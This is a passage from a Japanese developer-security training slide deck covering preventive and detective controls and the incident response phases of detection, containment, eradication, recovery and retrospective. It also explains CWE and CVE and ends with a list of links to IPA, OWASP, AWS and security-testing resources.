ガードレール型セキュリティにおける統制方法  ガードレール型セキュリティを実行するための仕組みとして、  ● 予防的統制  ● 発見的統制  というものがあります 

Slide 247

Slide 247 text

ガードレール型セキュリティにおける統制方法  予防的統制  ルールやシステム化によって、不正な操作・設定を事前に防ぐこと    ● セキュリティポリシー、運用ルールの作成  ● 最小権限の原則  ● リリース前のセキュリティチェック、コードレビュー  ● エンジニアの教育 

Slide 248

Slide 248 text

ガードレール型セキュリティにおける統制方法  発見的統制  リソースが不正な状況になっていないか継続的に監視し、  不正な状況を検知したら、即座に是正すること    ● 攻撃⾏為をリアルタイムに発⾒し検知するための監視  ● 不審な攻撃⾏為の洗い出しと影響範囲の確認を⾏うための分析  ● セキュリティ設定の監視 

Slide 249

Slide 249 text

インシデントの予防  ここまで予防についてお話ししてきましたが、  それでも完全にインシデントを防ぐことは難しいです    実際にインシデントが発生してしまった際に、  どのように対応していくのかについて説明します   

Slide 250

Slide 250 text

インシデント対応

Slide 251

Slide 251 text

インシデント対応フロー検知  インシデント対応フローを全体図で示すと次のようなものとなる封じ込め  根絶  復旧  振り返り 

Slide 252

Slide 252 text

インシデント対応フロー : 検知検知  検知様々なログやアラートを分析し、通常業務から逸脱した状況がインシデントかどうかを判断するフェーズ封じ込め  根絶  復旧  振り返り 

Slide 253

Slide 253 text

インシデント対応フロー : 検知  検知  インシデントの予兆となるイベントをアラートや第三者からの連絡より発見できる可能性があります  予兆を発見した場合には、ログなど様々なリソースからデータを集めて本当にインシデントなのかどうかを判断する必要があります  予兆を検知するため、インシデントだと判断するために  必要なリソースを用意しましょう 

Slide 254

Slide 254 text

インシデント対応フロー : 封じ込め封じ込め  根絶  復旧  振り返り  検知  封じ込めインシデントによって発生した影響を最小限に抑え、さらなる被害の発生を防止するフェーズ

Slide 255

Slide 255 text

インシデント対応フロー : 封じ込め  封じ込め  できるだけ被害を迅速に、最小限に抑える必要があります  このフェーズでは、根本原因への対応ではなくNWの隔離などの  できるだけ早く被害を抑制できる方法などを考慮します  想定されるインシデントごとの対応計画を策定しておくことで、封じ込め策を検討しておきます  また、根絶フェーズのために侵害されたインスタンスの隔離・保全なども重要です 

Slide 256

Slide 256 text

インシデント対応フロー : 根絶封じ込め  根絶  復旧  振り返り  検知  根絶影響を受けたシステムにおいて、原因の除去と復旧を行うフェーズ

Slide 257

Slide 257 text

インシデント対応フロー : 根絶  根絶  攻撃の際に作成されたバックドアや汚染されたリソースの削除を行い、再びインシデントが発生しないように対応を行います  侵害の痕跡を確実に除去するために、攻撃される前に取得しておいたバックアップからの復元などを行います  ● 定期的なバックアップの取得  ● クラウド環境やアプリケーションのコードでの管理  などで、復元する手段を用意して事前の対策を行います 

Slide 258

Slide 258 text

インシデント対応フロー : 根絶  脆弱性  攻撃手法と対応策を把握するためには、自分の管理しているアプリケーションにどのような脆弱性があるのか把握する必要があります  脆弱性情報は、セキュリティベンダーやGitHubなど様々な形態で公開・共有されます  使用しているミドルウェアや開発で使用しているプラグインに脆弱性が含まれていないか確認する必要があります   

Slide 259

Slide 259 text

脆弱性について  脆弱性を管理する上で、以下の単語について把握しておきましょう  ● CWE (Common Weakness Enumeration) ● CVE (Common Vulnerabilities and Exposures) 【参考】共通脆弱性タイプ一覧 CWE概説 https://www.ipa.go.jp/security/vuln/scap/cwe.html ■ 共通脆弱性識別子CVE概説 https://www.ipa.go.jp/security/vuln/scap/cve.html

Slide 260

Slide 260 text

CWE  CWEとは共通脆弱性タイプ一覧と呼ばれ、ソフトウェアにおけるセキュリティ上の脆弱性の種類を識別するための共通の基準多種多様な脆弱性の種類を脆弱性タイプとして分類し、それぞれに一意のID(CWE-ID)を付与して、階層構造で体系化している抽象的な概念が上位層で定義され、下位層では具体的な脆弱性タイプや個々の脆弱性が表される

Slide 261

Slide 261 text

CVE  CVEとは日本語では共通脆弱性識別子で、個別製品中の脆弱性に採番されるID CVE-IDと呼ばれ「CVE-西暦-連番」と構成されており、 CVE-2024-0010のようにIDがつく特定の脆弱性に対策を行うのであれば、CVE-IDで検索を実施してセキュリティベンダーや開発者が作成した対応策などを実施する

Slide 262

Slide 262 text

インシデント対応フロー : 復旧封じ込め  根絶  復旧  振り返り  検知  復旧影響を受けたシステムを元の稼働状況に戻し、再びインシデントが発生しないようにするフェーズ

Slide 263

Slide 263 text

インシデント対応フロー : 復旧  復旧  環境を再度公開した際に、同様の攻撃や他の手段で再度攻撃されることがないことを確認する必要があります  復旧を円滑に進めるために  ● システムの動作を確認するためのテスト、検証方法  ● 再び攻撃を受けていないかどうかの監視基盤  ● 受けた攻撃ごとの復旧方法の検討  など、事前に対策を準備しておきます 

Slide 264

Slide 264 text

インシデント対応フロー : 振り返り封じ込め  根絶  復旧  振り返り  検知  振り返りインシデント対応の振り返りを行い、再発防止策やセキュリティの向上を考えるフェーズ

Slide 265

Slide 265 text

インシデント対応フロー : 振り返り  振り返り  どういう攻撃をされて、何が起きて、どうすれば防げていたのかを明らかにして、今後の対策やセキュリティの向上に努めます  インシデント対応の総括として、振り返った内容をまとめて今後の開発・運用に生かしていくことが大事です  また、振り返りのためにインシデント対応の時系列や対応のために行った行動などはできるだけ詳細に残すべきです 

Slide 266

Slide 266 text

インシデント対応 : まとめ  まとめ  ● ミスがインシデントにならないよう予防を行うこと  ● どれだけ予防してもインシデントが起きうる  ● インシデント発生時のために準備をしておくこと  インシデントかも？と思ったらセキュリティチームに  相談してください 

Slide 267

Slide 267 text

まとめ

Slide 268

Slide 268 text

まとめ  開発におけるセキュリティ  ● 設計の段階からセキュリティを意識しておくこと  ● その中での取り組み方  代表的な攻撃例  ● インシデントがどのような原因で起こるのか  ● インシデントによってどのような被害を受けるのか 

Slide 269

Slide 269 text

まとめ  領域ごとのセキュリティ対策  ● 脆弱性を作らないために考慮すべきこと  ● インシデントが発生する原因、その影響  インシデント対応  ● インシデントを発生させないために予防を行うこと  ● インシデントが起きた時のために備えておくこと 

Slide 270

Slide 270 text

おわり

Slide 271

Slide 271 text

Appendix

Slide 272

Slide 272 text

リンク集 ■ 安全なWebサイトの作り方　 https://www.ipa.go.jp/security/vuln/websecurity/about.html ■ セキュリティバイデザイン導入指南書 https://www.ipa.go.jp/jinzai/ics/core_human_resource/final_project/2022/secu rity-by-design.html ■ 共通脆弱性タイプ一覧CWE概説 https://www.ipa.go.jp/security/vuln/scap/cwe.html ■ 共通脆弱性識別子CVE概説 https://www.ipa.go.jp/security/vuln/scap/cve.html

Slide 273

Slide 273 text

リンク集 ■ OWASP Developer Guide https://owasp.org/www-project-developer-guide/release/ ■ OWASP DevSecOps Guideline https://owasp.org/www-project-devsecops-guideline/ ■ OWASP TOP 10 https://owasp.org/Top10/ ■ OWASP Mobile Top 10 https://owasp.org/www-project-mobile-top-10/2023-risks/  

Slide 274

Slide 274 text

リンク集 ■ AWS Best Practices for Security, Identity, & Compliance https://aws.amazon.com/jp/architecture/security-identity-compliance/ ■ クラウドセキュリティ〜設定ミスとの付き合い方〜 https://www.ipa.go.jp/jinzai/ics/core_human_resource/final_project/2023/c loud-security.html 

Slide 275

Slide 275 text

リンク集 ■ OWASP ZAP https://www.zaproxy.org/ ■ Burp Suite Community https://portswigger.net/burp/communitydownload ■ OWASP Juice Shop https://github.com/juice-shop/juice-shop ■ BadTodo https://github.com/ockeghem/badtodo

Slide 276

Slide 276 text

リンク集 ■ Androidアプリのセキュア設計・セキュアコーディングガイド https://www.jssec.org/report/securecoding.html ■ Introduction to Secure Coding Guide (iOS) https://developer.apple.com/library/archive/documentation/Security/Conc eptual/SecureCodingGuide/Introduction.html ■ OWASP Mobile Application Security Verification Standard https://mas.owasp.org/MASVS/ ■ OWASP Mobile Security Testing Guide https://mas.owasp.org/MASTG/